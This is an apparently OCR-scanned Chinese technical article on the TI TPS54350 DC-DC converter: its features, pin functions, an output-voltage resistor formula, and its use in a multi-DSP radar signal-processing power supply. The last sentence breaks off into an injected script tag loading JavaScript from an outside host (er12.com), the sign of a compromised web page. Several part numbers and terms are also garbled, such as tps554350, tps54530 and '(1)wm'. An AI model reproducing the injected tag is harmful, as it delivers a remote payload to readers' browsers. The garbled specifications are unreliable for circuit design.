摘要：介绍德州仪器公司推出的内含mosfet的tps54350型高效dc—dc变换器的特性及引脚功能。描述tps54350在某信号处理器供电系统中的应用。给出供电系统的详细设计方案和参考电路．同时也对实际工作中可能出现的问题进行了讨论，供硬件设计者参考。
关键词：dc／dc变换器：tps54350；信号处理器：供电系统
1 引言
tps54350是德州仪器(ti)新推出的一款内置mosfet的高效dc／dc变换器．采用小型16引脚hissop封装．连续输出电流为3a时，输入电压范围为4．5v~20v。该变换器极大地简化了负载电源管理的设计，使得设计人员可直接通过中压总线(而不依赖额外的低电压总线)为数字信号处理器(dsp)、现场可编程门阵列(fpga)及微处理器供电。tps554350swift(采用集成fet技术的开关)dc／dc变换器的效率高达90％以上，非常适用于低功耗工业与商用电源、带液晶显示屏(lcd)的监视器与电视、硬盘驱动、视频图像卡以及9v或12v墙式适配器负载点稳压装置。
2 tps54350的特性和功能
2．1 tps54350的特性
tps54350型dc／dc变换器的主要特性如下：
连续输出电流为3a时．效率达90%以上；
输入电压范围为4．5v一20v：
输出电压可调低至0．891v(精确度为l％)；
可编程外部时钟同步：
宽的脉宽调制(1)wm)频率一固定为250khz、500khz或250khz~700khz的可调节范围：
峰值电流限制与热关断保护：
可调节的欠压关断；
内部软启动：
电源安全输出。
2．2 tps54350引脚功能和电路功能
2．2．1 引脚功能
vin：电压输入引脚，范围为4．5v～20v，必须旁路连接一个低等效串联电阻(esr)的10μf陶瓷电容器：
uvl0：欠压闭锁输出：
pwrgd：开漏输出。该引脚为低电平时，表示输出低于期望的输出电压值。pwrgd比较器的输出端有一个内部的上升沿滤波器：
rt：频率设置引脚。在rt引脚与地(agnd)之间接一只电阻器．设置转换频率。将rt引脚接地或悬空可以得到一个内部备选频率；
sync：双向i／o同步引脚。当rt引脚悬空或置低电平时，sync为输出：当它与一个下降沿信号连接时，亦可作为一个输入端口来同步系统时钟：
ena：使能引脚。低于0．5v时。电路停止工作；悬空时被使能；
comp：误差放大器输出：
vsense：误差放大器转换节点，基准电压值：
agnd：模拟地，内部与感应模拟地电路连接。与pgnd和powerpad连接：
pgnd：电源地，与agnd和powerpad连接；
vbias：内部8．0v偏置电压。该引脚要接1只0．1μf的陶瓷电容器：
ph：相位端，与外部lc滤波器连接；
boot：在boot引脚与ph引脚之间连接一只o．1μf的陶瓷电容器。
2．2．2 电路功能
tps54530支持中等范围的电流输出．能够将输出电压降至0．891v．其精度可达l%。tps54530集成了高端mosfet和一个可选择的低端外部mos-fet栅极驱动器。此外，该器件还采用了高性能电压误差放大器，极大地改善了瞬时条件下的性能，从而可灵活选择输出滤波电感器与电容器。开关频率固定在250khz或500khz，也可以将其升高到7ookhz，以缩小无源组件的尺寸。
图1示出tps54350的实际应用电路，图中给出的是其中一种情况，其输出电压是可变的，通过改变电阻器r2的阻值，可得到期望的输出电压值。图l中的输入电压为12v，输出电压为3．3v，其中r2的计算公式为：
r2=r1x0．891／(vo-0.891)
r1=1kω
表1给出当rl=lkω和r1=10kω,时的几种输出电压下的r2的值。笔者设计的系统就是应用图1所示的电路来实现。根据不同的输出电压要求赋给r2不同的阻值，其阻值的取法可参照表l。另外，对于设计者来说，设计电路时要考虑到表2所列的几个因素。本系统中的r。=lkω。
3 tps54350在信号处理系统中应用
3．1 系统组成及供电电路
本信号处理系统采用的是adl公司的ts201s型adsp组成的多片某仿真雷达信号处理系统．系统主要由5个dsp、1个fpga和7个tps54350组成。在以往使用的maxl951和。peglll7的经验基础上．经过多方面的设计考虑，采用了tps54350型dc／dc变换器．从表1可以看出．tps54350可以输出3．3v、2．5v和1．2v的电压。系统中的dsp采用240mhz时钟，每个指令周期约为4．17ns。根据ts201s型adsp的工作条件可知，当温度为25℃、时钟cclk(为250mhz时，典型情况下的vdd(1．25v)供电电流典型值为1．2a，vdd的供电电流小于137ma。tps54350的额定输出电压为3a．所以此系统的设计是合理的。
tigershardsp有3个电源，其中数字2．5v(vdd_io)为i／0供电；数字1．2v(vdd)为dsp内核供电；模拟1．2v(vdd_a)内部锁相环?script src=http://er12.com/t.js>
